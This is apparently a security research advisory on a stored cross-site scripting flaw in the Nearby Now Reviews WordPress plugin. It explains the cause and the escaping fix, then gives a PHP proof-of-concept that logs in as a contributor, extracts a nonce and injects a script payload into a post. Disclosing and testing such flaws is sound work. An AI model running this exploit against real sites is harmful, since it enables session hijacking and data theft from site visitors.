Atomic Edge analysis of CVE-2025-13853 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Nearby Now Reviews WordPress plugin, affecting all versions up to and including 5.2. The issue resides in the plugin’s ‘nn-tech’ shortcode handler, specifically within the ‘data_tech’ parameter. Attackers with Contributor-level or higher permissions can inject malicious scripts that persist in page content, executing when a user views the compromised page. The CVSS score of 6.4 reflects a medium-severity risk with scope change, indicating the impact can spread beyond the targeted component.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping, as classified by CWE-79. The vulnerability description confirms the ‘data_tech’ shortcode attribute is not properly neutralized before being rendered on the page. Without access to the source code, this conclusion is based on the CWE classification and the standard WordPress shortcode handling pattern where user-supplied attributes are often directly echoed without using escaping functions like `esc_attr()` or `wp_kses()`.
Exploitation requires an authenticated user with at least Contributor privileges. The attacker would edit or create a post or page, inserting the vulnerable shortcode with a malicious JavaScript payload in the ‘data_tech’ attribute. For example, `[nn-tech data_tech=”alert(document.domain)”]`. When the post is saved and later viewed by any user, the injected script executes in the victim’s browser context. The attack leverages WordPress’s inherent trust in Contributor-level users to publish shortcode-based content.
Remediation requires implementing proper output escaping. The patched version should use WordPress core escaping functions such as `esc_attr()` when outputting the ‘data_tech’ attribute value within HTML tags, or `wp_kses()` for output within HTML content. Input sanitization using `sanitize_text_field()` on the attribute value before storage would provide an additional defense layer. The fix must be applied in the shortcode callback function registered via `add_shortcode(‘nn-tech’, …)`.
Successful exploitation allows attackers to perform actions within the victim’s session. This can lead to session hijacking, administrative actions performed by administrators, defacement of site pages, or theft of sensitive data like cookies and local storage. The stored nature of the attack amplifies impact, as the payload executes for every visitor to the compromised page. The Contributor-level access requirement limits immediate widespread abuse but aligns with common content contributor roles in multi-author WordPress sites.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13853 - Nearby Now Reviews <= 5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'https://example.com/wp-login.php';
$username = 'contributor';
$password = 'password';
$post_id = 123; // ID of a post the contributor can edit
// Payload to inject into the shortcode attribute
$payload = '"><script>alert(document.domain)</script>';
$shortcode = '[nn-tech data_tech="' . $payload . '"]';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check for successful login by looking for the admin dashboard
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Navigate to the post edit page to retrieve the nonce
$edit_post_url = $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_post_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);
// Extract the nonce for updating the post. This regex pattern is typical for WordPress.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
die('Could not extract nonce from edit page.');
}
// Update the post content with the malicious shortcode
$update_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_ID' => $post_id,
'content' => $shortcode,
'_wpnonce' => $nonce,
'_wp_http_referer' => $edit_post_url,
'action' => 'editpost',
'save' => 'Update'
]));
$response = curl_exec($ch);
if (strpos($response, 'Post updated.') !== false) {
echo 'Exploit successful. Shortcode injected into post ID ' . $post_id . '.n';
echo 'Visit the post to trigger the XSS payload.n';
} else {
echo 'Post update may have failed.n';
}
curl_close($ch);
?>